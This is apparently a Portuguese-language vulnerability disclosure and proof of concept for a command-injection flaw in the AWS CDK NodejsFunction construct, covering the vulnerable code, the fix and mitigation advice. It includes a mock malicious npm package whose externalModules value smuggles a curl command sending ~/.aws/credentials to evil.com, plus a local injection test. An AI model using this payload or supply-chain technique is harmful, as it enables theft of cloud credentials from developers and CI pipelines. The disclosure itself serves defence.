Análise técnica e Prova de Conceito (PoC) para CVE-2026-11417: Injeção de Comandos do SO / Execução Remota de Código (RCE) no NodejsFunction do AWS CDK.
Autor: Hesham Ashraf (@HeshamASH)
Data: 10 de junho de 2026
Gravidade: Alta (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Neutralização Incorreta de Elementos Especiais usados em um Comando do SO (Injeção de Comando do SO)
Pacote Afetado: aws-cdk-lib (npm), todas as versões anteriores à 2.245.0
Fornecedor: Amazon Web Services (AWS)
Status: Corrigido (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Boletim: AWS-2026-041 | Advertência: GHSA-999r-qq7v-r334
Descobri uma vulnerabilidade de injeção de comando no AWS Cloud Development Kit (CDK) que permitia a um atacante obter Execução Remota de Código (RCE) em qualquer máquina executando — incluindo estações de trabalho de desenvolvedores e pipelines de CI/CD — ao publicar um pacote npm malicioso ou enviar um Pull Request especialmente elaborado.
cdk synthA vulnerabilidade existia porque o construct NodejsFunction do aws-cdk-lib interpolava strings controladas pelo usuário diretamente em um comando de shell sem sanitização e, em seguida, as executava via bash -c / cmd /c. A AWS corrigiu o problema substituindo a execução baseada em shell por matrizes de argumentos diretas do spawnSync.
O AWS Cloud Development Kit (CDK) é um framework open-source amplamente utilizado para definir infraestrutura de nuvem como código. Ele é usado por dezenas de milhares de desenvolvedores e pipelines de CI/CD para sintetizar e implantar stacks do AWS CloudFormation.
O construct NodejsFunction é um dos constructs L2 mais populares do CDK. Ele empacota funções Lambda TypeScript/JavaScript usando esbuild durante a fase de síntese (cdk synth).
O caminho de empacotamento local do construct NodejsFunction construía uma string de comando de shell interpolando diretamente várias propriedades controladas pelo usuário, sem qualquer sanitização:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING
];
A matriz era então unida em uma única string e passada para um shell:
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Metacaracteres de shell como &, ;, |, ` e $(...) em qualquer uma das propriedades injetáveis seriam interpretados pelo shell como separadores de comandos, permitindo a execução arbitrária de comandos.
| Propriedade | Sanitização | Nível de Risco |
|---|---|---|
externalModules | Nenhuma | Crítico |
define (chaves) | Nenhuma (valores usam JSON.stringify) | Crítico |
loader (chaves) | Nenhuma | Crítico |
inject | Nenhuma | Crítico |
esbuildArgs (chaves/valores) | Nenhuma | Crítico |
Esta vulnerabilidade é particularmente perigosa porque a injeção ocorre na camada de síntese do CDK, não durante o npm install. Isso significa que medidas de segurança padrão do npm, como o --ignore-scripts, não oferecem nenhuma proteção.
Um atacante publica um pacote npm de aparência legítima que encapsula o NodejsFunction:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Hidden payload among legitimate-looking externals
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Quando um desenvolvedor instala este pacote e executa cdk synth, o CDK constrói:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
O caractere & divide isso em dois comandos de shell independentes:
npx esbuild --bundle handler.ts --external:lodash — o esbuild executa normalmentecurl https://evil.com/... — o payload do atacante exfiltra as credenciais da AWS| Defesa | Eficaz? | Por quê |
|---|---|---|
npm install --ignore-scripts | Não | A injeção ocorre durante o cdk synth, não na instalação do pacote |
Revisão de código do package.json | Não | O payload está no código TypeScript do construct, não em scripts |
| npm audit | Não | O pacote não contém vulnerabilidades conhecidas |
| Integridade do lockfile | Não | O pacote em si é instalado corretamente |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts com o payload de injeçãoimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
O arquivo pwned.txt é criado, confirmando a execução arbitrária de comandos no host.
spawnSync baseado em matrizA correção principal substitui a construção de strings de comando de shell por spawnSync direto, usando matrizes de argumentos:
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });
Isso elimina completamente a interpretação de metacaracteres de shell. O novo sistema de tipos BundlingStep separa claramente:
spawn: esbuild/tsc/install — executadas via spawnSync direto com matrizes de argumentosshell: commandHooks fornecidos pelo usuário — executados intencionalmente via shell (o usuário os controla por contrato)fs: operações de arquivo — sem envolvimento de shellNo Windows com Node 22+, o spawnSync direto de shims .cmd falha com EINVAL. Este PR roteia as etapas de spawn através do powershell.exe com powershellEscape() — uma função que coloca aspas simples estritas em cada argumento usando o escape nativo do PowerShell (duplicando aspas simples internas) e, em seguida, antepõe o operador de chamada &.
Execução via shell é um code smell. Qualquer caminho de código que construa uma string e a passe para bash -c ou cmd /c é uma potencial vulnerabilidade de injeção de comando. Sempre prefira spawnSync baseado em matriz ou execFile.
Ataques à cadeia de suprimentos contornam as defesas em tempo de instalação. O npm audit e o --ignore-scripts protegem contra scripts postinstall maliciosos, mas não podem proteger contra vulnerabilidades nas ferramentas que processam dependências em tempo de build.
Constructs do CDK são código confiável. Quando um desenvolvedor importa um construct CDK de terceiros, ele implicitamente confia que o construct configurará sua infraestrutura corretamente. Um construct malicioso pode aproveitar essa confiança para injetar payloads em propriedades de empacotamento que parecem configuração comum.
Atualize imediatamente para a versão 2.245.0 do aws-cdk-lib ou posterior
Audite constructs CDK de terceiros em busca de valores incomuns na propriedade bundling
Fixe as versões dos constructs CDK no seu package-lock.json
Revise PRs que modifiquem a configuração de bundling com atenção redobrada
Reproduza a vulnerabilidade usando os arquivos fornecidos na pasta poc/.
Descoberta e relatada por Hesham Ashraf (@HeshamASH). Divulgação coordenada conduzida por meio do programa AWS VDP.